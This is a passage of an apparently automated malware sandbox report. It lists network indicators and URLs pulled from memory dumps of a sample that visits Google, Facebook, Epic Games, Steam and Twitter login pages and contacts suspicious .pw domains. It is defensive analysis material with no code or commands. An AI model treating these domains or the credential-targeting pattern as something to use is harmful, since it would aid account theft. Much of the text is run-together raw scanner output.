/mfewtzbnmeswstajbgurdgmcgguabbtihufvpmfdw5hocip918jm5b3cqgquh1ksyvacvh%2bbztgdpqqqmlyh3qgcea3n2p7awhpio7utrzjdirs%3d http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: ocsp.r2m04.amazontrust.com" Heuristic match: "ocsp.rootca1.amazontrust.com" Heuristic match: "get /mfqwujbqme4wtdajbgurdgmcgguabbrpwaouu8%2b5vz5%2fa9jftau9pkk3faquhbjmhttsvayulc4iwzzhshbocggcewdzek8qls4%2b0ypyvbhdg8doxyc%3d http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: ocsp.rootca1.amazontrust.com" Heuristic match: "crl.r2m04.amazontrust.com" Heuristic match: "get /r2m04.crl http/1.1connection: keep-aliveaccept: */*user-agent: microsoft-cryptoapi/6.1host: crl.r2m04.amazontrust.com" Heuristic match: "accounts.google.com" Heuristic match: "accounts.youtube.com" Heuristic match: "fonts.googleapis.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "js.hcaptcha.com" Heuristic match: "moskhoods.pw" Heuristic match: "o.ss2.us" Heuristic match: "s.ss2.us" Heuristic match: "ssl.gstatic.com" Heuristic match: "static-assets-prod.unrealengine.com" Heuristic match: "static.xx.fbcdn.net" Heuristic match: "tracking.epicgames.com" Heuristic match: "twitter.com" Pattern match: "www.epicgames.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.noticeofpleadings.net" Pattern match: "www.paypal.com" Pattern match: "www.youtube.com" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s-1238648160:1789398233068167" Pattern match: "https://accounts.google.com/servicelogin?passive=1209600&continue=https%3a%2f%2faccounts.google.com%2f&followup=https%3a%2f%2faccounts.google.com%2fcontent-encoding" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s-1238648160:1789398233068167strict-transport-security" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "https://accounts.google.com/accept-language" Pattern match: "https://www.google.com/favicon.icox-content-type-options" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninsignupui}]}accept-ch" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s1562754874:1789398237553582" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s1562754874:1789398237553582strict-transport-security" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninsignupui}]}permissions-policy" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s506201653:1789398259040358" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowname=weblitesignin&flowentry=servicelogin&dsh=s506201653:1789398259040358strict-transport-security" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninsignupui}]}cross-origin-opener-policy-report-only" Pattern match: "https://accounts.google.com/&dsh=s506201653:1789398259040358&flowentry=servicelogin&flowname=weblitesignin&followup=https://accounts.google.com/" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninui}]}cross-origin-opener-policy-report-only" Pattern match: "https://accounts.google.com/&dsh=s506201653:1789398259040358&flowentry=servicelogin&flowname=weblitesignin&followup=https://accounts.google.com/&pstmsg=1" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninui}]}reporting-endpoints" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninsignupui}]}content-encoding" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninsignupui}]}cross-origin-resource-policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninui}]}cross-origin-resource-policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/accountssigninui}]}accept-ch" Pattern match: "https://csp.withgoogle.com/csp/report-to/static-on-bigtable}]}content-length" Pattern match: "www.facebook.comdnt" Pattern match: "fb.me/p3pset-cookie" Pattern match: "https://www.fbsbx.com" Pattern match: "https://accounts.google.com&v=709036980×tamp=1789398231948" Pattern match: "https://accounts.google.comcontent-security-policy" Pattern match: "https://accounts.google.com&v=-1309286889×tamp=1789398235916" Pattern match: "https://accounts.google.com&v=-971699339×tamp=1789401725860" Pattern match: "https://accounts.google.com&v=804232918×tamp=1789406294480" Pattern match: "https://accounts.google.com&v=-782920482×tamp=1789406388005" Pattern match: "https://accounts.google.com&v=-1354894770×tamp=1789406542370" Pattern match: "https://accounts.google.com&v=-1177863707×tamp=1789406641756" Pattern match: "rsrc.php/v5/yp/l/0,cross/e2d9v-wfvicb4ueiwltx0vxgo-3469oiggxg-rodaqsdt9dwdypz6dhfgqe914iibfonmkn3yhinqu49pvnahkckvx2i9b7pb8kwpae_brmcjg.css" Pattern match: "www.xx.facebook.com\/ajax\/browser_error_reports\/}],group:permissions_policy}timing-allow-origin" Pattern match: "rsrc.php/yh/r/ur_tiyve0g0.eot" Pattern match: "rsrc.php/yp/r/b_letpaupmi.webp" Pattern match: "rsrc.php/y1/r/ay1hv6olegs.ico" Pattern match: "rsrc.php/yp/r/kuc6ohi0fjd.woff" Pattern match: "rsrc.php/yf/r/ipwqpkyh2fy.ttf" Pattern match: "www.epicgames.comconnection" Pattern match: "www.epicgames.comdnt" Pattern match: "https://www.epicgames.com/id/loginaccept-language" Pattern match: "www.youtube.comdnt" Pattern match: "https://www.youtube.com/supported_browsers?next_url=https%3a%2f%2fwww.youtube.com%2fp3p" Pattern match: "http://support.google.com/accounts/answer/151657?hl=en" Pattern match: "https://www.youtube.com/supported_browsers?next_url=https%3a%2f%2fwww.youtube.com%2faccept-language" Pattern match: "https://csp.withgoogle.com/csp/report-to/youtube-marketing}]}content-length" Pattern match: "https://csp.withgoogle.com/csp/apps-themescross-origin-resource-policy" Heuristic match: "killredls.pw" Heuristic match: "keewoolas.pw" Heuristic match: "dayzilons.pw" Heuristic match: "_o.dz" Pattern match: "http://ocsp.digicert.com0a" Pattern match: "cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "crl3.digicert.com/digicerttrustedrootg4.crl0" Pattern match: "crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0s" Pattern match: "crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0" Pattern match: "http://www.digicert.com/cps0" Pattern match: "http://ocsp.digicert.com0\" Pattern match: "www.youtube.com/supported_browsers?next_url=https%3a%2f%2fwww.youtube.com%2f" Heuristic match: "ccounts.google.com" Pattern match: "cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" Pattern match: "crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0" Pattern match: "http://ocsp.digicert.com0x" Pattern match: "cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert.com1$0" Pattern match: "http://ocsp.digicert.com0c" Pattern match: "cacerts.digicert.com/digicertassuredidrootca.crt0e" Pattern match: "crl3.digicert.com/digicertassuredidrootca.crl0" Heuristic match: "m.y.cr" Heuristic match: ",v.td" Heuristic match: "th.tw"56:T2b70,Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://c" - Source: "00000000-00000292.00000000.82576.00310000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://c" - Source: "00000000-00000292.00000001.84498.00310000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0i" - Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcu" - Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00001476.00000000.82470.00280000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0i" - Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcu" - Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00001476.00000002.86174.00280000.00000004.mdmp") Found URL "https://accounts.google.com/auditpolicygpinterop.dllauxiliarydisplaycpl.dll:\windows\system32\ieframe.dllchxreadingstringime.dll:\windows\system32\propsys.dlldevicepairingfolder.dlldevicepairinghandler.dlldevicepairingproxy.dll:\windows\system32\shell32.dll:\windows\system32\ieframe.dllttps://accounts.google.com/ttps://accounts.google.com/locationnotifications.exettps://accounts.google.com/ttps://accounts.google.com/ryptopenalgorithmprovidermediametadatahandler.dllelevatecreateprocesswrpmitigationapphelp.dllen-usen-usar-sapt-brzh-twzh-cnzh-hkcs-czda-dkel-gres-esfi-fifr-frde-dehe-ilhu-huit-itja-jpko-krnl-nlnb-nopl-plpt-ptru-rusv-setr-trbg-bghr-hret-eelv-lvlt-ltro-rosr-latn-cssk-sksl-sith-thuk-uafy-nlqps-plocqps-plocm:\windows\apppatch\aclayers.dll52c64b7ehon36-32\:\windows\system32\winspool.drvocaprveuhon\pyth:\windows\system32\setupapi.dll:\windows\system32\cfgmgr32.dll:\windows\system32\sfc.dllms-win-core-processthreads-l1-1-0:\windows\apppatch\acgenral.dllutoitdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00006000.00000000.82614.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/pushprinterconnections.exerestartmanageruninstall.mofsystempropertiesadvanced.exesystempropertiesremote.exewindowsanytimeupgradeui.exeware\microsoft\oleaut:\windows:\windows\inf:\windows\inf:\windowsnsufficient" - Source: "00000000-00006000.00000000.82614.00AA0000.00000004.mdmp") Found URL "https://accounts.google.comummy://url/wl168kl.exe_classes-209235clsid\" - Source: "00000000-00006000.00000000.82614.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/ttpse.httpc:\program" - Source: "00000000-00006000.00000000.82614.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/c:\program" - Source: "00000000-00006000.00000000.82614.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/ttps://accounts.google.com/ttps://accounts.google.com/mediametadatahandler.dllelevatecreateprocesswrpmitigationapphelp.dllen-usen-usar-sapt-brzh-twzh-cnzh-hkcs-czda-dkel-gres-esfi-fifr-frde-dehe-ilhu-huit-itja-jpko-krnl-nlnb-nopl-plpt-ptru-rusv-setr-trbg-bghr-hret-eelv-lvlt-ltro-rosr-latn-cssk-sksl-sith-thuk-uafy-nlqps-plocqps-plocm:\windows\apppatch\aclayers.dll52c64b7e68kl.exehapubws\appdata\local\temp\ixp002.tmp\https:\accounts.google.com\em;c:\windows;.;c:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;c:\windows\system32\windowspowersfers\hapubws\appdata\local\programs\python\python38-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python38-32\;c:\users\hapubws\appdata\local\programs\python\python36-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python36-32\:\windows\system32\winspool.drvocaprveuhon\pyth:\windows\system32\setupapi.dll:\windows\system32\cfgmgr32.dll:\windows\system32\sfc.dllindows\system32\ext-ms-win-kernel32-package-current-l1-1-0.dllms-win-core-processthreads-l1-1-0:\windows\apppatch\acgenral.dllutoitviewtooltipclass32\imm32.dll\winmsiscanbuffer:\windows\system32\cryptbase.dllomspec=c:\windows\system32\cmd.exe:\windows\system32\msvcp140.dll:\windows\system32\ucrtbase.dllroperty" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/arse" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/pushprinterconnections.exettps://www.epicgames.com/id/loginttps://twitter.com/i/flow/loginttps://www.epicgames.com/id/loginwindowsanytimeupgradeui.exeware\microsoft\oleautindows:\windows\inf:\windows\infindowsfficient" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://www.youtube.com/api-ms-win-core-rtlsupport-l1-1-0.dllapi-ms-win-core-sysinfo-l1-1-0.dllapi-ms-win-core-threadpool-l1-1-0.dllapi-ms-win-crt-filesystem-l1-1-0.dllhttps://www.youtube.com/https://www.youtube.com/https://www.youtube.com/api-ms-win-security-sddl-l1-1-0.dllapi-ms-win-service-core-l1-1-0.dllapi-ms-win-service-winsvc-l1-1-0.dllauxiliarydisplayclassinstaller.dllommonprogramfiles=c:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/:\users\hapubws\appdata\local\temp\ixp002.tmp\3wl168kl.exe.facebook.com/loginc:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/ers\hapubws\appdata\local\programs\python\python38-32\;c:\users\hapubws\appdata\local\programs\python\python36-32\scripts\;c:\users\hapubws\appdata\local\programs\python\python36-32\ttpsttpse.httpttpsttpscalrpcloginttpsttpsttpslogin/e.httpvolume" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginc_20880.nlsc_20905.nlsc_20924.nlsc_20932.nls0936.nlsc_20949.nlsc_2102c_21027.nlsc_21866.nlsc_28591.nlsc_28592.nls8593.nlsc_28594.nlsc_2859c_28596.nlsc_28597.nlsc_28598.nlsc_28599.nls8603.nlsc_28605.nlsc_g180c_is2022.dllc_iscii.dlld3d10core.dlld3d10warp.dll10_1.dlld3d8thk.dlld3dim7d3dramp.dlld3dxof.dll1c00000indows\registration\r00000000000c.clbl32.dll," - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://twitter.com/i/flow/loginttpssigninttpsboutlanklankummyttpsttpslhost.exc:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.comta\oracle\java\j\system3xndows\systembem;c:\windoubws\appdata\local\programs\pythvolume" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://acs.google.com/\win5705distry\user\s-1-5-21-2092356043-4041700817-663127204-1001on\python36-32\ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-ieproxy.dllieframe.dllapi-ms-win-downlevel-shell32-l1-6bf-11d0-94f2-00a0c91efb8b" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/ttps://steamcommunity.com/openid/loginform/ttps://steamcommunity.com/openid/loginform/:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/xt-ms-win-kernel32-package-current-l1-1-0.dll:\users\hapubws\appdata\local\temp\ixp002.tmphttps://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp") Found URL "https://accounts.google.com/2.dll," - Source: "00000000-00006000.00000001.84348.00AA0000.00000004.mdmp")57:T6db,Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/y1/r/ay1hV6OlegS.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /id/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.epicgames.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /account-portal/static/epic-favicon-96x96.png HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static-assets-prod.unrealengine.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL")58:Tf48,GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog GET /r/r1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.cn GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/pl4XiTjSDSk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/G0k-BqpOX8k.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/x6Eg-8TSwUw.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /rootg2.cer HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crt.rootg2.amazontrust.com GET /rootca1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootca1.amazontrust.com GET /rootg2.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.rootg2.amazontrust.com GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m04.amazontrust.com GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com GET /r2m04.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.r2m04.amazontrust.com GET /wr2/oQ6nyr8F0m0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed 11 Feb 2026 14:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 14 Sep 2026 13:19:38 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 14 Sep 2026 12:32:48 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 14 Sep 2026 11:07:31 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 31 Aug 2026 08:08:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog 59:Td6b,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEA59dSNcqDd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIf" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "aREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTih" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base62 string in header "uFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYV" in header "GET 